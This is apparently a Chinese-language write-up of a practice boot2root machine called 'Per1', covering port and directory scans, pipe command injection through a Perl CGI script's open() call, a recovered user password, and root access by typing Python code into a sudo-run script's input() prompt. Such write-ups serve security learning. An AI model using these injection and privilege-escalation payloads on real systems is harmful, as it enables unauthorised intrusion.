群友靶机-Per1

信息收集

```
# Nmap 7.95 scan initiated Sat Aug  9 00:10:02 2025 as: /usr/lib/nmap/nmap -p-
--oA ports 10.0.2.78
Nmap scan report for 10.0.2.78
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:C2:78:59 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

# Nmap done at Sat Aug  9 00:10:07 2025 -- 1 IP address (1 host up) scanned in
5.46 seconds
# Nmap 7.95 scan initiated Sat Aug  9 00:14:48 2025 as: /usr/lib/nmap/nmap -sU
--top-ports 100 -oA udp 10.0.2.78
Nmap scan report for 10.0.2.78
Host is up (0.00034s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:C2:78:59 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

# Nmap done at Sat Aug  9 00:16:36 2025 -- 1 IP address (1 host up) scanned in
108.54 seconds
```

很明显 锁定80端口

```
dirsearch -u 10.0.2.78
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
```

```
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/Desktop/perl/reports/_10.0.2.78/_25-08-09_01-15-58.txt

Target: http://10.0.2.78/

[01:15:58] Starting:
[01:15:58] 403 -  274B  - /.ht_wsr.txt
[01:15:58] 403 -  274B  - /.htaccess.bak1
[01:15:58] 403 -  274B  - /.htaccess.orig
[01:15:58] 403 -  274B  - /.htaccess.sample
[01:15:58] 403 -  274B  - /.htaccess.save
[01:15:58] 403 -  274B  - /.htaccess_extra
[01:15:58] 403 -  274B  - /.htaccess_orig
[01:15:58] 403 -  274B  - /.htaccessBAK
[01:15:58] 403 -  274B  - /.htaccess_sc
[01:15:58] 403 -  274B  - /.htaccessOLD2
[01:15:58] 403 -  274B  - /.htaccessOLD
[01:15:58] 403 -  274B  - /.htm
[01:15:58] 403 -  274B  - /.html
[01:15:58] 403 -  274B  - /.htpasswd_test
[01:15:58] 403 -  274B  - /.htpasswds
[01:15:58] 403 -  274B  - /.httr-oauth
[01:15:59] 403 -  274B  - /.php
[01:16:05] 403 -  274B  - /cgi-bin/
[01:16:16] 403 -  274B  - /server-status/
[01:16:16] 403 -  274B  - /server-status

Task Completed



<!DOCTYPE html>
<html>
<head>
<title>Perl: The Epitome of Elegance</title>
```

```
<style>
body { font-family: sans-serif; margin: 40px; background: #f0f0f0; }
header { text-align: center; padding: 30px; background: linear-
gradient(135deg, #8a2be2, #4169e1); color: white; border-radius: 15px; box-
shadow: 0 5px 15px rgba(0,0,0,0.2); }
h1 { font-size: 3.5em; text-shadow: 2px 2px 4px #00000080; letter-spacing:
2px; }
.perl-art { font-family: monospace; font-size: 1.2em; line-height: 1.4;
margin: 30px auto; padding: 20px; background: white; border-radius: 10px; max-
width: 700px; white-space: pre; }
footer { text-align: center; margin-top: 40px; color: #666; }
.cgi-hidden { display: none; }
</style>
</head>
<body>
<header>
<h1>Perl is the Most Beautiful Language</h1>
</header>

<main>
<p style="text-align: center; font-size: 1.3em;">Where elegance meets power in
every line of code</p>

<div class="perl-art">
     ,-.       . .       . .
    (   `.     | |       | |
     `-.  .--. | |.-..-. | |
    ,   `(   )\` '-' '   `-'
     `-..`-''  `---'   `---'

sub beauty {
    my $soul = shift;
    return $soul * infinity;
}

print beauty(42);
</div>

<div><!-- cgi --></div>
</main>
```

```
<footer>
<p>Perl: Transforming thoughts into art since 1987</p>
</footer>
</body>
</html>
```

直接用dirsearch是扫不出来东西的 聚焦一下前端页面 有个perl的小程序 当然这不是重点 重点是 `<!-- cgi -->`

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -
u 10.0.2.78/cgi-bin/ -x cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.78/cgi-bin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/file.cgi             (Status: 200) [Size: 22]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================
```

很明显有个file.cgi 试着看一下自己

`http://10.0.2.78/cgi-bin/file.cgi?file=file.cgi`

```
#!/usr/bin/perl use CGI; print CGI::header(); my $input = CGI::param('file');
if($input) { open(FILE, $input); print while ; close(FILE); } else { print
"Missing file parameter"; }
```

很明显是有问题的 用|可以命令注入

`http://10.0.2.78/cgi-bin/file.cgi?file=|id`

uid=33(www-data) gid=33(www-data) groups=33(www-data)

接下来就是弹个shell 常规操作 在/opt下面发现可疑文件

```
www-data@Per1:/opt$ perl password.pl
perl password.pl
dylan4
```

合理猜测是用户sunset的密码 ssh上去看看权限

```
sunset@Per1:~$ id
uid=1001(sunset) gid=1001(sunset) groups=1001(sunset)
sunset@Per1:~$ sudo -l
Matching Defaults entries for sunset on Per1:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on Per1:
    (ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py
sunset@Per1:~$ ls -la /usr/bin/guess_game.py
-rw-r--r-- 1 root root 465 Aug  8 09:13 /usr/bin/guess_game.py
sunset@Per1:~$ cat /usr/bin/guess_game.py
import random

def guess_game():
    ans = random.randint(0, 65535)
    print "Welcome to the guess game!"
    print "I've chosen a number between 0 and 65535."
    try:
        user_input = input("Your guess: ")
    except Exception as e:
        print "Error:", e
        return
```

```
    if user_input == ans:
        print "Congratulations! You guessed it."
    else:
        print "Wrong! The correct number was", ans

if __name__ == '__main__':
    guess_game()
```

可以sudo执行 `(ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py`
而这个guess_game.py 在提示 "Your guess:" 时，可以输入 Python 代码而非数字

```
sunset@Per1:~$ sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: __import__('os').system('/bin/sh')
# id
uid=0(root) gid=0(root) groups=0(root)
```

结束